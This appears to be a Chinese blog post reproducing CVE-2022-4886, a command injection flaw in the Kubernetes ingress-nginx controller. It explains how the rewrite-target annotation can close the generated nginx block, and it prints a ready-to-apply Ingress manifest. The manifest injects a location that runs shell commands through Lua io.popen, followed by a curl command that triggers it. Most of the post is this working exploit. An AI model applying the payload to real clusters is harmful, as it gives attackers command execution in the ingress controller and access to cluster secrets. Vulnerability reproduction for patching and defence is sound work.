CVE-2022-4886 ingress命令注入复现与分析

安装

安装ingress-nginx

bash 复制代码
wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.4/deploy/static/provider/cloud/deploy.yaml

k apply -f deploy.yaml

原理

nginx.ingress.kubernetes.io/rewrite-target标签会在nginx配置进行插入字符串,我们通过注入自己的恶意字符串,并且进行闭合,并且利用了lua脚本执行命令的功能,即可注入一个执行命令的路由来完成执行命令

复制代码
 nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;     #用于将所有请求重定向到/execute-command
      }
      #注入了一个新路径,用于通过lua脚本执行命令
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

演示

部署的ingress如下所示

复制代码
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/rewrite-target: |
      execute-command/ last;
      }
      location execute-command/ {
        content_by_lua_block {
          local handle = io.popen("ls -l")
          local result = handle:read("*a")
          handle:close()
          ngx.say(result)
        }
      }
      location /fs/{

spec:
  rules:
  - host: k8s.evil.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 8080

在容器中可以看到

复制代码
 curl --header "Host: k8s.evil.me" http://10.98.219.148/
相关推荐
平生不喜凡桃李14 分钟前
Linux网络层:IP
linux·运维·tcp/ip
阿方索36 分钟前
虚拟化技术实践指南:KVM 与 VMware ESXi 部署全流程
linux·运维·服务器
YouEmbedded1 小时前
解码Linux文件IO之库的制作与应用
linux·动态库·静态库
半梦半醒*2 小时前
ELK1——elasticsearch
linux·运维·数据仓库·elasticsearch·centos
tongsound2 小时前
记录一次崩溃问题排查过程(gtsam库相关,avx)
linux·c++
love530love3 小时前
【笔记】解决 ComfyUI 安装节点 ComfyUI-Addoor (葵花宝典)后启动报错:No module named ‘ComfyUI-Addoor’
linux·运维·前端·人工智能·windows·笔记·python
Full Stack Developme3 小时前
Linux 有哪些功能相似的命令
linux·运维·服务器
馨谙3 小时前
Linux 服务管理:重新加载 vs 重新启动的本质区别
linux·运维·服务器
小白银子3 小时前
零基础从头教学Linux(Day 55)
java·linux·服务器·python
岚天start4 小时前
Linux内核coredump分析方案
linux·运维·服务器·gdb·coredump·堆栈·内存快照